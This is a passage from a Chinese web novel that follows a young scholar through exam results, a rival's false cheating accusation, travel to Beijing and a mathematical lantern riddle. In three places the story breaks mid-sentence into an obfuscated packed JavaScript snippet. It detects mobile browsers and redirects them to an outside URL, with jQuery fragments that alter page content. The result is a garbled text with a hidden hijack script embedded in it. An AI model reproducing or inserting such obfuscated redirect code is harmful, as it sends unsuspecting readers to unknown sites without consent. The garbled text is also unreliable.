看着递到自己面前的,明显经过精心装裹的文集,陈穗和抿了抿唇,道:“文集暂且不谈。”他转身拿了一个包裹出来,递到了左世堂手边,“这些都是左兄送给在下的,在下现在原封不动,归还左兄。” 这些全是左世堂这段时间给陈穗和送的礼物,件件都很要费些心思和银钱。 左世堂本是信心满满,因为陈穗和就算不喜欢其中一两件,但收了他的东西,总要与他做个人情,面上无论如何都要和软些。 有了这个突破口,哪怕陈穗和现下对他不冷不热,他往后也有机会与陈穗和攀下交情。 只是现在…… 左世堂脸色一变:“陈兄,你、你……此举何意啊?难不成这些东西,陈兄还瞧不上眼吗?” “我没有这个意思。”陈穗和摇头,“只是无功不受禄,这些东西我收不得。” 说完,陈穗和就不顾左世堂的推拒,将包裹硬塞到了左世堂友人的手里。 “这……”友人也是不知所措。 左世堂沉下脸色,却又不好对陈穗和发脾气,只好勉强忍住不耐烦继续开口劝。 但陈穗和打定主意不收,左世堂怎么劝都劝不动。 最后左世堂黑着脸对友人使了一下眼色,叫友人一同帮忙,但陈穗和早就烦了。 可是老话说,伸手不打笑脸人,陈穗和就是再杰出,也不过是少年人,学不来老油条那一套,因此硬又硬不下心肠,狠又说不出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|12773450|131524||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 狠话,左右为难。 看陈穗和这模样,倒很有几分后世里,员工被领导劝酒的为难。 周稚宁用茶杯挡住自己唇角的笑,饮下最后一口茶,站起身给陈穗和解围。 “陈兄,咱们不是约好去城外钓鱼?这时辰都快到了,该动身了吧。” 周稚宁的话给了陈穗和一个顶好的脱身理由,他连连应是,摆脱左世堂两人之后,就迫不及待地拉着周稚宁离开了客栈,徒留左世堂落在背后,表情极度难看。 “该死的乡巴佬!”左世堂恶狠狠盯着周稚宁的背影,显然十分不满周稚宁居然敢带走陈穗和。 “算了,左兄,消消气吧,也给大家留份体面。”友人上前劝道:“好在陈穗和只是退回了咱们的东西,但没跟咱们交恶不是?咱们以后还有机会。” 左世堂咬牙:“若不是瞧他家世尚可,又有中举的希望……” 后面半段话左世堂没能说下去,但意思也不言自明了。 友人慌张地左右看看,生怕碰见了与陈穗和熟识之人,连忙把左世堂劝走了。 * 离乡试交卷,已经过去了小半个月了。朝廷规定乡试成绩必须在半个月之内出来,这满打满算的,放榜的日子就在今明两天了。 即使是周稚宁,此刻在心里也升起一点紧张和忐忑。 为了缓解这种情绪,周稚宁决定去街上逛逛,转移一下注意力。但是才一上街,她就见着一个熟人。 左世堂带着友人从远处走过来,身后还跟着三四个小厮,每个小厮手上都提着一大堆礼品。 “名单你都搜集齐了吗?”左世堂问。 “这名单从出了贡院我就开始准备了,早就齐了,保证没一个差的。”友人回答。 “那就好。”左世堂露出一个满意的微笑,“今年有望高中桂榜的人,我们务必要与之结交。将来官场之上才好说话。” 左世堂自己也明白,虽然他现在也有些名气,但都是花钱砸出来的,能走到今天这一步已经是将天赋发挥到极限了,再无可能更进一步。所以与其到时失望而归,不如在这个时候多结交一些才俊,以供他父亲和家中科举有望的小弟,将来在官场上行事方便。 “左兄,陈穗和那边怎么办?他一直都不肯收我们的礼。”友人为难道。 一提到陈穗和,左世堂就有点恼火:“我就从来没见过像陈穗和这样的人,宁愿和一个臭乡巴佬为伍,也不肯接受我的好意!” 但是陈国安又毕竟是左长峰的顶头上司。 左世堂深吸一口气:“罢了,还是给他再备一份,被退回来再说。” “好,我马上准备。” 友人刚把话说完,转头就看见了尚未来得及避让的周稚宁。 双方三目相对,友人意识到方才左世堂贬低周稚宁的话,怕又给周稚宁听去了,不由又是一顿尴尬。 “周兄。”友人顾及面子,还是简单给周稚宁打了个招呼。 但这回周稚宁身边没了陈穗和,左世堂连个起码的态度都不想给,满脸不屑:“何必与低贱之人言谈?” 在左世堂看来,周稚宁出身不高,又没有值得他结交的才能。与她多说一个字,都是浪费时间。 周稚宁倒也没反驳,自己主动退到了一边,给他二人让开了一条路。 左世堂自认为这是理所应当,正要走过,耳边却忽然听到远处传来了一阵敲锣打鼓的声音,大街上的人都不由得朝声音的来源处看去。 只见伴随着红鞭炮劈里啪啦的声音响起,远远的,两块既严肃又喜庆的巡视牌出现在了二人的视野中。巡视牌后,则是穿了一身红色皂衣的胥吏,捧着个长条盒子。而胥吏后面,又是两排佩刀衙役。 这一行人走来热闹又盛大,当真是引人注目极了。 友人疑惑地观察了一下这队人前进的方向:“他们约莫是去贡院外的?”继而又惊又喜,“定是乡试出榜了!” 26. 解元之位 往年乡试成绩的发放都是有固定日子的,到了当天,会有很多考生挤在贡院外看榜。但是今年的乡试榜单要比往年提前几天,打的众人一个措手不及。当下只有尚在城中的考生瞧见了这个送榜队伍,还有很多尚在城外游玩的考生未曾知道。 既然遇上了,那就不能错过。 在这大街上的,但凡是应试的举子,都立即跟上队伍后面,一同往贡院的方向走去,周稚宁也不例外。 左世堂简直是慌不择路的,一时要跟上胥吏,一时又不忘吩咐小厮赶紧先把礼品送去。忙来忙去,途中踩中自己的下摆,差点摔个大马趴。 在正儿八经的桂榜面前,任谁都会忍不住慌乱。 走了一段路后,得知消息的考生越来越多,整个队伍也变得越来越庞大。特别是在路过举子们住宿客栈门口的时候,考生们更是犹如过江之鲫一般,源源不断地从门内涌出来,险些踏破门槛。 人群熙熙攘攘,议论声更是如油锅鼎沸。几乎所有的考生都在议论为什么今年的桂榜提前了,是不是乡试里出了什么变数?又或是朝廷里面有什么新的动静? 但是大家思来想去都没一个结果。 等到走到贡院附近的时候,跟在队伍后面的考生们已经成了一片乌泱泱的人海,打眼望过去,人头攒动,摩肩擦踵,人与人之间简直没有了缝隙。还好送榜的胥吏带着一排佩刀衙役,否则还真不好在这人海中开出一条路来。 好不容易走到告示牌前站定,胥吏道:“诸位瞧好了,桂榜就封在这长盒中。而今我要启开封条,取出桂榜了。” 一众考生鸦雀无声,几百双眼睛都直勾勾地盯着胥吏开盒的手。 撕封条、开长盒、取桂榜,然后张贴。 整个过程只花了四分之一炷香的时间就完成了,而后胥吏道:“桂榜张贴完毕,还请诸位一观。” 言罢,胥吏就在佩刀衙役们的护送下,飞快地离开了告示牌前。 此前碍着胥吏是官员,考生们不敢擅动,此时胥吏一走,考生群就就像炸了锅! 前面的立即开始看榜,后面的不断往前挤。而先看了榜的又不肯走,非要足足把整个榜单看他个三五遍,确定自己当真榜上无名之后,就痛苦哀嚎一声,仰天嚎哭起来,捶胸顿足,看起来恨不得一头撞死在告示牌上。榜上有名的则拍着大腿兴奋大笑,直呼:“我中了!我中了!”,离开人群。 另有富家公子们不必自个儿挤,自有小厮仆役替他们挤进去看。更有考生不用小厮,非要自个儿亲眼看见桂榜,于是小厮们更是成群结队地扑进人群里替他们家公子开路。 这些人使得告示牌前越发拥挤,几乎是水泄不通。 周稚宁不是体格健硕之辈,被迫跟着人海挤了半天,最后连桂榜的边角都没瞧见,倒是先挤累了,只好先行退出来。结果她方才离开人群,就看见陈穗和才收到通知,急急忙忙地跑了过来。 他本来十分紧张和慌乱的,但一看见周稚宁因为挤榜,衣服都被挤得皱巴巴的,头发也凌乱了,一副狼狈的模样,便忍不住笑了:“周兄,我可难得见你如此狼狈。” 周稚宁只好苦笑。 两人实在挤不过这些考生,就想着先在一边等候,等到日落以后再来看榜。 但谁料两个人还没来得及动,人海最前面就爆发出了一声尖锐的:“什么?周稚宁!” 这一声压倒了所有的嘈杂之声,仿佛直冲九霄,把周稚宁本人都喊得一震,忍不住回过头来。紧接着,她就看见有双手带着势不可挡的气势推开了人群,恶狠狠地冲过来:“周稚宁,你怎会是解元?!” 一语落地,震惊四座。 “什么?周稚宁是解元?” “这怎么可能?!” “简直是滑天下之大稽!” 周稚宁面色冷静,对左世堂拱手:“在下尚未看榜,没想到左兄倒先我一步告知,真要多谢左兄报喜了。” 左世堂被气的眼眶通红,恨不得七窍冒烟:“你岌岌无名,又没有文章流传于世,根本就是一个平庸无能之辈。你、你如何当得起解元?!” 曾经讥讽过周稚宁的人更是觉得天都塌了,满脸的不可置信。 “对啊,她如何当得起解元?” “我不信!我绝对不信!” …… 陈穗和也是一样的震惊,他和周稚宁相处的这段时间,也是知道周稚宁一直有意藏拙,迟早有一天会如潜龙飞天。但是没想到这条龙一飞,就是一个解元。 可这边左世堂已经快气疯了,他就是看准了周稚宁无权无势,无才无德,才敢放开手欺负人。但是如今桂榜明晃晃地告诉他,他不仅看走了眼,还得罪了人。 解元之才,将来必定进入官场啊! 他几乎是头脑一热,一把攥住周稚宁的胳膊:“你这分明就是弄虚作假,我要向考官大人揭发你!走!随我去见官!” 陈穗和最先反应过来,他一把拦住左世堂,沉声道:“慎言!你口中一句简单的弄虚作假,落在大人耳中可能就是科场舞弊。历朝历代,科场舞弊会出多少冤案你难道不知吗?!” 这时,左世堂才发现原来陈穗和就在周稚宁旁边,他脸色又是一变。 本来因为周稚宁是陈穗和好友,他即使再不屑周稚宁,也会注意不当着陈穗和的面给她难堪。但如今他确实是太气了,居然没发现陈穗和。凭借两人的关系,若他要动周稚宁,就必定会和陈穗和撕破脸。 但是…… 左世堂攥紧了拳头。 但是若今天一朝放走周稚宁,来日周稚宁为官作宰,难保不会为了今日的羞辱而对他动手。这样一个人,给左世堂带来的威胁可比陈穗和要大多了。 更何况,如果在此时就一口咬定周稚宁这个解元来的名不正,言不顺,他还能找到许多人证与物证,毕竟哪怕周稚宁确实是扮猪吃虎,她以前的名字和文章也是实打实的下等水平,这是骗不了人的。 这些东西,再加上众口铄金,说不定真的可以拉下周稚宁…… 左世堂眼底闪过一丝阴狠,大声道:“陈兄,你何必以冤案压我?周稚宁这个解元本就来路不当!她分明就是另用手段,使桂榜蒙羞。”进而又转向人群,“诸位都看看桂榜,亚元居然是赵厉?!只要是认识赵兄的,都应该清楚以赵兄的水准,拿到解元是绰绰有余。” 话音一落,周围人都议论起来。 “对啊,若不是周稚宁,那解元之位就是赵厉的了。” “我要是赵厉,必定恨死周稚宁。” “听说周稚宁在平城县试之时就名次不佳,这回一飞冲天,若不是她早年有意藏拙,那便是使了手段。” “她定是使了手段,否则她与我们一同在北直隶府这么久,我们却从来不见她作什么诗赋篇章。倒是赵厉的文章篇篇老道,就是解元之才!” …… 眼瞧着众人的情绪都被左世堂煽动起来,个个叫嚷着要拿周稚宁见官,陈穗和的脸色难看至极。 周稚宁也是面沉如水:“左世堂,能证明我未曾作弊的办法有许多种。我敢当着大家的面写文章,大家叫我做什么题目,我便做什么题目。倒是我真实水平如何,自然一目了然。” 这确实是一个极好的办法,但是左世堂无论如何也不会让周稚宁做这篇文章。 “你说的倒轻巧,谁知道你有没有提前准备题目,然后再背下答案,为的就是防止有人揭发你的那一天?所以,你还是先跟我去见官比较好。” 说完,左世堂便对身边小厮一使眼色,小厮们立即推开人群走过来将周稚宁团团围住。 这些小厮体格壮硕,周稚宁加上陈穗和两个都未必打得过。 周稚宁冷笑:“你不让我做文章,分明就是害怕我证明己身。” 当着众人的面,左世堂自然不能让周稚宁有辩驳的机会,他立即道:“你若是不心虚,又为何要抗拒与我一同见官?你这分明就是心里有鬼!” 左世堂要见官,其实心里早有打算。他与本地县官有些关系,届时只要说一声,无论如何先打周稚宁一顿杀威棒,打晕了再说。再寻些证人做下证词,这件官司就成了,任谁也别想翻身。 这件事自然要越快做越好,不能给任何人反应过来的机会。 于是左世堂当即下令:“你们还不快快把这人绑了送去官府?!” “是!” 小厮们立即领命,朝着周稚宁抓了过去。 就在这千钧一发之际,远处忽然有一名考生气喘吁吁地跑过来,大声报信:“别吵了,别吵了,主考官谭大人来了!” 这个消息把在场的考生们都震了一下,任谁也没想到这件事情居然会直接惊动主考官。 虽然他们确实不信周稚宁得了解元,但也不意味着他们想被卷进科场舞弊案啊。 因此有几个胆小的,当下就偷偷跑了。余下一群还没来得及跑,就被谭素华带来的佩刀衙役围了个水泄不通。 谭素华着一身绯红官府,紧蹙眉心:“尔等因何聚众喧哗?” 左世堂见潭素华来了,心中一下子紧张起来。 能做主考官的可不是什么好糊弄的主,言辞之间若不能多加注意,说不定都得把自己搭进去。 见没人先开口,潭素华干脆将目光投向了被围在中心的周稚宁:“你叫什么名字?” 周稚宁也在思考措辞,她斟酌着道:“小子周稚宁。” 说完,她的大脑就飞速运转起来。等下潭素华问起作弊一事,她该如何解释才能做到把自己完完全全摘出来。若是留下半分污点,那她后半辈子的仕途都会受影响。 然而让周稚宁惊讶的是,潭素华听到她的回答以后,竟然像是见到了什么稀罕物似的,来来回回将人打量了几遍,才道:“原来你就是周稚宁,这次的解元。” 周稚宁点头:“正是。” “不错不错,果然是英雄出少年。”谭素华见周稚宁如此年轻,周身气度又卓尔不凡,不由笑道:“也难怪朝廷要指明给你这个解元之位啊。” 一句话掀起千层浪,所有人都傻了。 什么叫朝廷指定给的解元?周稚宁不是出身寒门吗?怎么有如此恩宠? 周稚宁本人也是微怔。 谭素华笑道:“也是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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追责责任谁都可以做,但放弃追究可不是每个人都能做到的。毕竟抓了左世堂一个,还可以说是有人嫉妒解元,造谣中伤。但若是抓了一批考生,事情必然闹大。这若是被有心人抓住,周稚宁的这个解元说不定就会留下污点,这就得不偿失了。 所以周稚宁的做法既是保全自己,也是得了人心,不可谓不聪明。 谭素华离开后,周围的考生你看看我,我看看你,好半晌,才有一名考生满脸通红地站出来道:“多谢周兄了。” 但凡周稚宁要追责,他们这些人肯定免不了一顿杀威棒。 “是、是啊,多谢周兄。” “我为我先前的言语不当道歉。” “对不住,周兄。” …… 一时间,周围的道歉声此起彼伏。 有人提议:“周兄还未曾亲眼见到桂榜呢,大家都让开吧,让周兄先看。” “对,让周兄先看。” 前面的考生纷纷附议,给周稚宁让开了一条路。周稚宁也不跟这些人客气,拉着陈穗和一起挤到了前头。 那一团名字的中心,赫然就是周稚宁的大名。而陈穗和则排在第五名,虽然比不上周稚宁和赵厉、宋基等人,但也算不错。再看左世堂,居然连前三十都没进。 “左世堂排名当真难看。” “听闻他已往有望中举的考生住处,送了许多礼品以图友好。” “他人品不佳,行为不检,还蓄意构陷解元,这样的人就是送来夜明珠,我等都不屑与之结交。” “是极,是极。” 左世堂汲汲营营了大半个月,到头来不仅把自己该巴结的全得罪了,还要狠狠吃上一顿板子,真是偷鸡不成蚀把米。 与此同时,琅琊。 八月底,桂花飘香。 赵淮徽着一身浅色外袍,手持书卷独坐于桂花树下,看似是在念书,实则是在默默发怔。 这边,程普卷着赵淮徽的被褥出来院子里晒,见着他家主子又开始发呆,便问道:“公子,怎么还呆着?咱们该收拾收拾进京了。” 赵淮徽一愣,回过神来却道:“不用手炉了,我不冷。” 答非所问,叫程普无奈一笑。 “若公子实在在意那个平江笑笑生,我去给公子你打听打听不就完了?”程普一边收被子,一边说,“等知道了她的姓名,公子你再登门拜访,就不必像今日这般魂不守舍了。” 赵淮徽自见了那考卷起,便知道平江笑笑生必是解元。 只要他想,眨眼间就能知道平江笑笑生的真名。 但是似乎是近乡情更怯,已经到了要揭开面纱的时候了,他反而有些手软。 毕竟这面纱揭开以后,底下的那张脸对他到底是笑还是哭,是喜还是怒,他自己都没有预料,也没有准备。 “罢了。”赵淮徽抬眸望向远方,眸色幽深,“只是乡试而已,往后还有会试和殿试。也许等到她能够见到圣上的时候,才是我们最好的见面时机。” 27. 前往京城 周稚宁回到客栈之后,才发现客栈里机灵的小二早就打听好了中举考生,跟掌柜的一起紧赶慢赶搞出了几条横幅挂在客栈门口。除此之外,掌柜的还特意请了舞狮队来,一阵敲锣打鼓,鞭炮齐天,方圆三里的百姓都被吸引过来瞧热闹了。 几个先脚回客栈的举人都被人群围在中间恭喜,陈穗和更是被前来贺喜的人群挤的脚不沾地,昏头昏脑的分不清谁是谁,后来只能不管来人身份,只管一味的拱手作揖,给红封喜钱,忙得团团转。 周稚宁这个解元得到的待遇更是夸张,有文人想借她身上一样物什开光,以保佑来日也能一举中第的;也有妇人领着自家孩儿,希望她能以手抚顶,借点文昌老爷神气,将来也能青云直上的。更有人遣了家仆端着两红盘银锭,并一应房契、田契,想与她结交的。甚至还有一二十男男女女跪在客栈外,求她收用作家中奴仆了。 活脱脱一副范进中举。 周稚宁也不想扫了大家的兴,将自己身上能给的香包、毛笔以及稿纸都给出去了。也顺应母亲的盼愿,摸了好几个小孩的脑袋瓜。 不过那些银子、房契,还有那些投诚而来的男女,她都没留用,和掌柜的并上小二几个一顿好说歹说,将人给劝走了。 最后一场热闹散尽,已是华灯初上。 周稚宁随手拾了条板凳坐了,望见客栈内满眼鞭炮炸开的红纸屑,不禁笑着摇头。 也难怪千百年来,无论朝代怎样更替,一举中第始终都是中国人殷殷期盼之所在。原来真当你中举的那一刻,所有热闹与吹捧声都会如潮水般向你袭来,那一瞬就是再冷静的人,也会不由自主地迷失在这繁华之中。 就是周稚宁,在看见这热闹后的残温,心中竟然也会有些许的不舍。 这边,陈穗和已经累的不行,背面的汗已经浸透了他那身石翠直裰,额上也频频流热汗。若不是还顾及读书人的体面,他都要仰面倒在条凳上喘气了。 掌柜的一面笑着给陈穗和递了杯热茶:“陈公子请用。”一面让小二端着盘文房四宝走向周稚宁。 “周公子,小人先贺您得中解元,前途无量。”掌柜的说着从袖筒里抽出一张红封递给周稚宁。 周稚宁知道掌柜的应是有事要说,所以也不推辞,将红封收了拆开一看,发现里面放着的是五十两银票。 掌柜的笑道:“咱们客栈虽然长久开着,却也还是第一次见到如此年轻的解元。都说墨宝留文气,小人今天也斗胆求周公子您一幅墨宝,将来长长久久的挂着,也是一段佳话。” 周稚宁声名不显时掌柜的就悉心照料,周稚宁早就记了他的情,因此没有不允的,当下就持笔在小二端着的红漆盘里写下一句。 挂起来之后,便是“纤纤不绝林薄成,涓涓不止江河生”,意寓功在不懈。 掌柜的喜不自胜,对周稚宁拜了又拜,又亲自奉茶。 周稚宁笑了笑,倒想她该向赵淮徽讨教几笔妙字,否则她的馆阁体总显得过于圆润可亲,失了大气磅礴了。 * 尔后几日,周稚宁在客栈里给赵淮徽写了封信,告知了自己乡试的成绩,但隐去了具体名次,只是再三对赵淮徽道谢,谢他送来了那封急信。 然后她又给周允德和杨氏写了封家书,书中告知了自己高中解元的消息。虽然当地官府接到消息之后,自会去家中报喜。但官府的人告知,和她自己写家书告知,当然是不一样的。 在把信寄出去之后,周稚宁就和陈穗和收拾好了包裹,一同坐船继续北上去了京城。 院试是在一州县之内,乡试是在一省之内,会试是在一国之内。考过乡试的举人们需要在知晓成绩之后,马不停蹄地赶去京城参加会试。届时,京城之内会汇集五湖四海所有的举人考生,又是一大盛况。 与盛况相随的是极其严苛的入城条件,周稚宁和陈穗和两人给了路引,接受完盘查之后,已经是申时了,可二人还未曾用过午膳。 因此一入了北京城,周稚宁和陈穗和二人连行李也来不及放,直接找了一个小面摊坐下叫了两碗阳春面。 陈穗和锤了锤自己因为赶路而酸软的腿,苦笑道:“早就听家里人说科举是最辛苦的,以前还不以为然,觉得念书是这世上顶顶幸福的事儿,倒是没想到这份儿辛苦说的是赶路。” 古代科举是另一种意义上的全国旅行,离得远的考生恨不得提前半年出发,这一路上车马劳顿,日夜颠簸,还有人曾水土不服死在路上。周稚宁和陈穗和赶了这半个月的路,腿脚都快走坏了。天气也逐渐由温转凉,快到了落雪时分。 “我只盼望着晚上能有盆热水叫我泡泡脚,再让我睡个囫囵觉。”周稚宁也是苦笑。 二人几口吃完阳春面,填了肚饱,就匆匆找了个客栈入住了。结果因为过度疲惫,两个人一进客栈就睡了个昏天暗地,直到第二天傍晚才醒过来。 周稚宁揉着眼睛推窗往外看,只见漫天星子明亮又硕大,星光下,高高低低的房屋寂静无声,仿佛都陷入了极端沉睡。偶尔打更人敲着竹梆子走过,拉长了的嗓音透破黑夜: “戌时已到!天干物燥,小心火烛——!” 周稚宁便简单收拾了一下,推开门下了楼。 巧的是,陈穗和也坐在大堂,他想是饿坏了,正不顾风仪的对着一碗面大快朵颐。 周稚宁笑着坐他对面:“好啊,陈兄你居然吃独食,也不叫我一声。” 陈穗和被她吓了一跳,抬眼看清人,转而又笑了,马上就叫了碗面上桌。 周稚宁也不跟他客气,从竹筒里拿出筷子便开吃。 有了碗热腾腾的面食下肚,周稚宁感觉自己就像是重新活过来一样,整个人都舒坦了。 “也不知是不是错觉,我总觉得这碗面胜过我以往吃过的全部山珍海味。”陈穗和喝了口面汤,长舒一口气。 周稚宁笑道:“饿了吃什么都是美味。” 更何况这北方的面食与南方真的不一样,同样都是面,北方的面就劲道、味儿重、分量足,不仅得仔仔细细地嚼,还得大口大口的吃,否则囫囵吞枣般地吃下去,恐怕夜里醒来肚子还是撑的。 也是在这一刻,周稚宁才切身的意识到自己已经身处北京,这个即将决定她命运的州府。 * 吃完了面,周稚宁和陈穗和都精神抖擞,暂无睡意。客栈小二是个地地道道的北京人,就给二人推荐了几处北京城的好玩地儿,趁着尚未宵禁,周稚宁干脆与陈穗和一起出门闲逛。 出门是正是戌时,街面上热闹的很。有外地来的商客、赶路的行人、本地的商贩、出门游玩的妇人,更多的还是远赴京城应考的举子。不过不管是谁,周稚宁一个都不认识,只揣着手与陈穗和并肩闲逛。 但没一会儿,她抬头往前看时,忽然发现前方不远处有个穿大氅的青年,背影看起来高高瘦瘦的,一瞬间让人觉得十分眼熟。 周稚宁一怔,一个名字脱口而出:“赵淮……” 但下一瞬间,对方与同伴说笑着转过头来,周稚宁的声音又戛然而止。 那是一张陌生的脸,平平无奇的五官,仿佛一见就忘。 不是赵淮徽。 周稚宁微微发怔,心里不知为何有些失望。 她想起离她给赵淮徽寄去信件,已经有一个半月了,就算是赵淮徽住得再远,此时也该赶到京城了。但她在客栈住了这些日子,却一直没有见到赵淮徽的踪迹。 怎么?赵淮徽是不打算赴京赶考了?还是他文章太差,没能考上? 周稚宁望着那大氅出神地想。 与此同时,前往北京城的官道上正有一辆马车摇摇晃晃地过来。赶马车的车夫身材异常魁梧,眼神如炬火,亮得惊人,一看就不是凡夫俗子。 马车里则盘坐着一名青年,那轻便生得异常俊美,只是眉眼微冷,唇色苍白。他似乎极度畏寒,不仅穿着一身雪狐里子的儒士装,还在外面罩了一件银狐千金裘。 在车马摇晃之间,青年伸手掀开车帘,静静看向窗外雪景。尔有一两片雪花飞入马车之中,让他的衣袍沾了些许雪屑,青年也并未不意。 程普道:“公子,再有三日我们就能赶到北京城了。前些日子周公子还给您写信,说她要去北京城考会试呢。这下巧了,咱们与她正好叙旧!” 提到周稚宁,赵淮徽冷淡的神色也有一瞬间的柔和,但嘴上还是道:“此去京城是为了面谢圣上恩典,叙旧只是顺便。” 程普笑的见牙不见眼:“对,顺便。” 他家公子惯会嘴硬。 * 周稚宁与陈穗和在街面上逛了许久,发现了北京城许多乐趣。比如说花花绿绿的泥人、街边的剃头匠、小贩卖菜时拉长了嗓子唱的卖菜谣,还有北京豆汁儿……罢了,这点不算。 往日书里读来念去都只见文字,不比今日在街上一游,南北方生活的截然不同便一下子就凸显出来,往日在书本里所读到的那些,也一下子有了具体印象。 周稚宁一路走,一路看,一双桃花眼亮晶晶的,显得比平日里更似一个风姿不俗,仪表清雅的少年书生,一路上叫不少人为之侧目。 与此同时,高楼之上,华灯遍布。三三俩俩的青年文士聚在一起,正把酒言欢,畅谈天下事。只有一人远离这些热闹,独自倚窗而坐,眉心紧紧蹙起,似乎心思全然不在此酒宴之上。 一紫衣文士见状,端酒走来,笑道:“子瞻兄,你家那位堂弟还未找到?” 周明承摇头,接过文士手中酒盏慢慢饮了一杯,叫文士略微惊奇。因为周明承温润恭谨,认为酒会令人做出放浪形骸之行,所以一向克制,从不饮酒,任凭谁劝也无用。可他今日居然饮了一杯,可见他对那位半路失踪的堂弟关心至极。 “我听说唐衔青也在寻你堂弟,你俩甚少为一个人这般上心。”紫衣文士打趣道:“这倒真让我好奇,你那位堂弟会是个怎样的人物。” 先前周明承神色未显,可一听到唐衔青的名字,他神色一冷,拧眉问:“他可寻到什么消息?” 紫衣文士看出他不虞,讪讪道:“倒未听说。” 周明承这才眉头略松,丢开酒杯,看向窗外。 窗外是高楼飘纱,灯火通明,人群拥攘。时有陌生面孔的年轻书生在人群之中穿梭,偶尔一瞥,周明承也会看见像她的人,视线也不由为之驻足片刻,但也仅仅是片刻,这些人只要转过一个角度,那点相似感就立即如云雾般消散无踪了。 为何不能长的再像些? 周明承的视线在人群重快速穿梭。 这个不像,这个也不像,这个,这个,还有这个…… 忽然间,周明承一怔,继而猛然直起身子朝楼下某一处看去。 灯火浪漫处,一名年纪不过十五六岁的少年书生正穿梭在人群之中,她笑盈盈的,那双桃花眼仿佛是被春日映照时的湖面,粼粼有光,动人心神。 而楼下周稚宁似有所感,可当她抬起头左右四顾的时候,又只见来来往往的人群,没有什么异常。 “周兄,你在看什么?”旁边陈穗和扭过头来问。 周稚宁犹豫一下,然后摇摇头:“没什么,看错了。” 陈穗和就笑着拉住她袖子,将人往前面带:“我方才听周边人说,前面有个小楼专门挂灯谜。可以解谜,也可以挂谜。南南北北的文人都往哪儿去了,咱们也去看看热闹吧。” 周 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|12817269|131524||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 稚宁点点头,任凭陈穗和拉着自己到了一处挂满灯笼的小楼。仰头粗略一数,这些灯笼约莫有五六十盏,每一盏都记着一个灯谜。楼底下还有两名小厮,各自拿着一根竹篙,左右侍立。如果有人破解了某一个谜题,就差遣这些小厮把对应的灯笼拿下来。 如若猜对了,便可以自己再写一个新的灯谜挂上去。如若猜错了,便要拿出一锭银子来捐献,以便给城内贫苦百姓开设粥棚。 周稚宁听了解释,心中默默佩服建设这灯谜楼的人想法奇妙。既可以操弄风雅,又可以娱乐大众,还可以接济贫民,一举三得。 这时,正好已有文人想出其中一个字谜的答案了,就叫人帮忙把二楼左侧的红灯笼拿下来。 小厮领命,揭了灯笼,当着大家的面儿念道:“谜面儿是‘口道恒河沙复沙’,打司马迁《史记》一句。” “河沙之多,无法尽握,谜底当是‘不可胜数’。” 小厮拆开灯笼里的谜底看,笑道:“恭喜这位公子,所言不错,还请公子另写一个字谜。” 旁边有侍女捧出文墨与纸笔来,那文人提笔便写,只是写完,他不等小厮挂上灯笼,就将人按下,“不必挂了。”然后转头对众人笑道:“诸位莫要怪在下轻狂,但在下写的这个灯谜,恐怕在场的各位无人能解。” 一语既出,众皆哗然。 好嚣张的书生! 有人年轻气盛,当场问道:“若是有人破了你这谜题,你该当如何?” 金文脸上挂起微笑,慢慢悠悠地说:“那我愿捐出一百两开设粥棚,接济百姓。” 一百两?这可不是一个小数目。 不管是有人想叫金文吃吃苦头,还是有人想让这一百两粥棚落地成真。在金文说出承诺之后,很快就有人越众而出,要提笔作答。 然而…… “今有圆材埋在壁中,不知大小.以锯锯之,深一寸,锯道长一尺.问径几何?”率先作答的人皱着眉,“这算哪门子灯谜?这明明是算经科。” 金文却笑:“灯谜楼可没禁止我用算术当灯谜。兄台这样问,可是答不上来了?” 回答者面色略微难看,却没有还嘴。 算术一般是基层官员用的多,而文士用的少。所以大多文人只知道四书五经,却不知道算术。因此金文的这个题一出来,霎时间就难倒一批人。 陈穗和倒看出了点门道,毕竟他父亲陈国安就任职于都水司,测算水位的时候就要用到算术。但他知道,却不精通,此时只能快速在心中默算。 金文见众人都是一脸的菜色,不由哈哈笑道:“今日我这一百两银子,算是有心用,没处花呀。” 陈穗和最见不得有人嚣张,他悄悄问周稚宁:“周兄,你可想出来了?” 周稚宁默默点头。 因为这类题目放在现代,其实只能算是高中数学题。 所谓“今有圆材埋在壁中,不知大小.以锯锯之,深一寸,锯道长一尺.问径几何?”,就是问“今有一圆柱形木材,埋在墙壁中,不知其大小,用锯去锯该材料,锯口深一寸,锯道长一尺.问这块圆柱形木料的直径是多少?” 周稚宁左右看了看,随手捡起一块石头,就蹲在路面石板上画起图来。 旁人对此动作不解,金文走上前看了看,眼中却有一丝趣味。 陈穗和一同蹲下,指着地上的图问:“周兄,这是什么?” “假设用图。”周稚宁回答,“你瞧,长为1丈的圆柱形木材部分镶嵌在墙体中,就跟我画的图一样。已知弦是一尺,弓形高为一寸。根据勾股定理可以得出……”周稚宁沉吟着算了会儿,然后给出答案,“木料的直径是二十六寸。” “嘶。”陈穗和不解,“周兄,勾股定理是什么?” 周稚宁挠挠下巴:“是个很厉害的定式。” 陈穗和还想再问:“周兄,你是如何算出……” 